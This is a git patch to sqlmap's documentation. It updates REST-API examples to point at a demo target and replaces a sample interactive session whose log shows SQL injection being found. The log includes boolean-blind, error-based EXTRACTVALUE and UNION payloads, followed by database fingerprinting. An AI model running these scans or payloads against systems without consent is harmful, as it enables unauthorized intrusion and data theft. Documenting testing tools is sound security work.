From 097f1d1e9a50a4697a3c52da7b5a78574916d02d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Jul 2026 10:10:35 +0200 Subject: [PATCH] Minor update --- REST-API.md | 14 ++--- Usage.md | 160 +++++++++++++++++++++++----------------------------- 2 files changed, 78 insertions(+), 96 deletions(-) diff --git a/REST-API.md b/REST-API.md index ce73447..70e8c41 100644 --- a/REST-API.md +++ b/REST-API.md @@ -88,7 +88,7 @@ taskid=$(curl -s -u "$AUTH" "$API/task/new" | grep -o '[a-f0-9]\{16\}') curl -u "$AUTH" \ -H "Content-Type: application/json" \ -X POST \ - -d '{"url":"http://testasp.vulnweb.com/showforum.asp?id=1"}' \ + -d '{"url":"https://sekumart.sekuripy.hr/product.php?id=1"}' \ "$API/scan/$taskid/start" curl -u "$AUTH" "$API/scan/$taskid/status" @@ -270,7 +270,7 @@ Example: curl -u "$AUTH" \ -H "Content-Type: application/json" \ -X POST \ - -d '{"url":"http://testasp.vulnweb.com/showforum.asp?id=1","level":2,"risk":1}' \ + -d '{"url":"https://sekumart.sekuripy.hr/product.php?id=1","level":2,"risk":1}' \ "$API/option/$taskid/set" ``` @@ -305,7 +305,7 @@ Example: curl -u "$AUTH" \ -H "Content-Type: application/json" \ -X POST \ - -d '{"url":"http://testasp.vulnweb.com/showforum.asp?id=1"}' \ + -d '{"url":"https://sekumart.sekuripy.hr/product.php?id=1"}' \ "$API/scan/$taskid/start" ``` @@ -324,7 +324,7 @@ You can also pass more sqlmap options: curl -u "$AUTH" \ -H "Content-Type: application/json" \ -X POST \ - -d '{"url":"http://testasp.vulnweb.com/showforum.asp?id=1","batch":true,"level":2,"risk":1,"technique":"BEUSTQ"}' \ + -d '{"url":"https://sekumart.sekuripy.hr/product.php?id=1","batch":true,"level":2,"risk":1,"technique":"BEUSTQ"}' \ "$API/scan/$taskid/start" ``` @@ -521,7 +521,7 @@ Downloads a file from sqlmap's output directory. The response contains Base64-en Example: ```bash -curl -u "$AUTH" "$API/download/$taskid/testasp.vulnweb.com/log" +curl -u "$AUTH" "$API/download/$taskid/sekumart.sekuripy.hr/log" ``` Response: @@ -674,7 +674,7 @@ Useful client commands include: Example: ```text -api> new -u "http://testasp.vulnweb.com/showforum.asp?id=1" +api> new -u "https://sekumart.sekuripy.hr/product.php?id=1" api (1a2b3c4d5e6f7890)> status api (1a2b3c4d5e6f7890)> log api (1a2b3c4d5e6f7890)> data @@ -745,7 +745,7 @@ echo "Task ID: $taskid" curl -u "$AUTH" \ -H "Content-Type: application/json" \ -X POST \ - -d '{"url":"http://testasp.vulnweb.com/showforum.asp?id=1","batch":true}' \ + -d '{"url":"https://sekumart.sekuripy.hr/product.php?id=1","batch":true}' \ "$API/scan/$taskid/start" # Poll status diff --git a/Usage.md b/Usage.md index 49e9590..0e3e281 100644 --- a/Usage.md +++ b/Usage.md @@ -2511,8 +2511,8 @@ By using switch `--shell` user will be presented with the interactive sqlmap she ``` $ python sqlmap.py --shell -sqlmap > -u "https://sekumart.sekuripy.hr/product.php?id=1" --technique=\ -BEU --batch +sqlmap > -u "https://sekumart.sekuripy.hr/product.php?id=1" --technique=BEU \ +--batch _ ___ ___| |_____ ___ ___ {1.0-dev-2188502} |_ -| . | | | .'| . | @@ -2520,93 +2520,68 @@ BEU --batch |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual - consent is illegal. It is the end user's responsibility to obey all applicable + consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program -[*] starting at xx:xx:11 +[*] starting at xx:xx:42 -[xx:xx:11] [INFO] testing connection to the target URL -[xx:xx:12] [INFO] testing if the target URL is stable -[xx:xx:13] [INFO] target URL is stable -[xx:xx:13] [INFO] testing if GET parameter 'id' is dynamic -[xx:xx:13] [INFO] confirming that GET parameter 'id' is dynamic -[xx:xx:13] [INFO] GET parameter 'id' is dynamic -[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might - be injectable (possible DBMS: 'MySQL') -[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'id' -it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp -ecific for other DBMSes? [Y/n] Y -for the remaining tests, do you want to include all tests for 'MySQL' extending -provided level (1) and risk (1) values? [Y/n] Y -[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' -[xx:xx:13] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - -WHERE or HAVING clause' injectable -[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B -Y or GROUP BY clause' -[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY - or GROUP BY clause' -[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B -Y or GROUP BY clause (EXTRACTVALUE)' -[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY +[xx:xx:42] [INFO] testing connection to the target URL +[xx:xx:43] [INFO] checking if the target is protected by some kind of WAF/IPS +[xx:xx:43] [INFO] testing if the target URL content is stable +[xx:xx:43] [INFO] target URL content is stable +[xx:xx:43] [INFO] testing if GET parameter 'id' is dynamic +[xx:xx:43] [INFO] GET parameter 'id' appears to be dynamic +[xx:xx:43] [INFO] heuristic (basic) test shows that GET parameter 'id' might be i +njectable (possible DBMS: 'MySQL') +[xx:xx:43] [INFO] testing for SQL injection on GET parameter 'id' +it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads spe +cific for other DBMSes? [Y/n] Y +for the remaining tests, do you want to include all tests for 'MySQL' extending p +rovided level (1) and risk (1) values? [Y/n] Y +[xx:xx:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' +[xx:xx:43] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHE +RE or HAVING clause' injectable (with --string="42") +[xx:xx:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B -Y or GROUP BY clause (UPDATEXML)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY - or GROUP BY clause (UPDATEXML)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B -Y or GROUP BY clause (EXP)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E -XP)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B -Y or GROUP BY clause (BIGINT UNSIGNED)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B -IGINT UNSIGNED)' -[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B -Y or GROUP BY clause' -[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause' -[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause' -[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT -VALUE)' -[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' -[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT -VALUE)' -[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX -ML)' -[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' -[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT -UNSIGNED)' -[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' -[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn -ique tests as there is at least one other (potential) technique found -[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the -time needed to find the right number of query columns. Automatically extending t -he range for current UNION query injection technique test -[xx:xx:15] [INFO] target URL appears to have 4 columns in query -[xx:xx:16] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 2 -0 columns' injectable -GET parameter 'id' is vulnerable. Do you want to keep testing the others (if - any)? [y/N] N -sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re -quests: +[xx:xx:43] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HA +VING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable +[xx:xx:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' +[xx:xx:43] [INFO] automatically extending ranges for UNION query injection techni +que tests as there is at least one other (potential) technique found +[xx:xx:43] [INFO] 'ORDER BY' technique appears to be usable. This should reduce t +he time needed to find the right number of query columns. Automatically extending + the range for current UNION query injection technique test +[xx:xx:43] [INFO] target URL appears to have 4 columns in query +[xx:xx:43] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 col +umns' injectable +GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any) +? [y/N] N +sqlmap identified the following injection point(s) with a total of 16 HTTP(s) req +uests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause - Payload: id=1 AND 5707=5707 + Payload: id=1 AND 4587=4587 + + Type: error-based + Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cla +use (EXTRACTVALUE) + Payload: id=1 AND EXTRACTVALUE(8924,CONCAT(0x5c,0x717a7a7671,(SELECT (ELT(892 +4=8924,1))),0x7171706b71)) Type: UNION query Title: Generic UNION query (NULL) - 4 columns - Payload: id=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 -26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), -NULL,NULL,NULL-- - + Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a7a7671,0x6c6754556 +87856574a4150564b4e6961546f637a54547351584b44524371464c4661626168614675,0x717170 +6b71)-- - --- -[xx:xx:16] [INFO] testing MySQL -[xx:xx:16] [INFO] confirming MySQL -[xx:xx:16] [INFO] the back-end DBMS is MySQL +[xx:xx:43] [INFO] the back-end DBMS is MySQL +web server operating system: Linux Debian web application technology: Apache 2.4.65, PHP 8.2.30 -back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) -[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma +back-end DBMS: MySQL >= 5.1 (MariaDB fork) +[xx:xx:43] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma p/output/sekumart.sekuripy.hr' sqlmap-shell> -u "https://sekumart.sekuripy.hr/product.php?id=1" --banner _ @@ -2616,35 +2591,42 @@ sqlmap-shell> -u "https://sekumart.sekuripy.hr/product.php?id=1" --banner |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual - consent is illegal. It is the end user's responsibility to obey all applicable + consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program -[*] starting at xx:xx:25 +[*] starting at xx:xx:54 -[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' -[xx:xx:26] [INFO] testing connection to the target URL +[xx:xx:54] [INFO] resuming back-end DBMS 'mysql' +[xx:xx:54] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause - Payload: id=1 AND 5707=5707 + Payload: id=1 AND 4587=4587 + + Type: error-based + Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cla +use (EXTRACTVALUE) + Payload: id=1 AND EXTRACTVALUE(8924,CONCAT(0x5c,0x717a7a7671,(SELECT (ELT(892 +4=8924,1))),0x7171706b71)) Type: UNION query Title: Generic UNION query (NULL) - 4 columns - Payload: id=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 -26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), -NULL,NULL,NULL-- - + Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a7a7671,0x6c6754556 +87856574a4150564b4e6961546f637a54547351584b44524371464c4661626168614675,0x717170 +6b71)-- - --- -[xx:xx:26] [INFO] the back-end DBMS is MySQL -[xx:xx:26] [INFO] fetching banner +[xx:xx:54] [INFO] the back-end DBMS is MySQL +[xx:xx:54] [INFO] fetching banner +web server operating system: Linux Debian web application technology: Apache 2.4.65, PHP 8.2.30 back-end DBMS operating system: Linux Debian -back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) -banner: '11.8.6-MariaDB-0+deb13u1' -[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma -p/output/sekumart.sekuripy.hr' +back-end DBMS: MySQL >= 5.1 (MariaDB fork) +banner: '11.8.6-MariaDB-0+deb13u1 from Debian' +[xx:xx:54] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma +p/output/sekumart.sekuripy.hr' sqlmap-shell> exit ```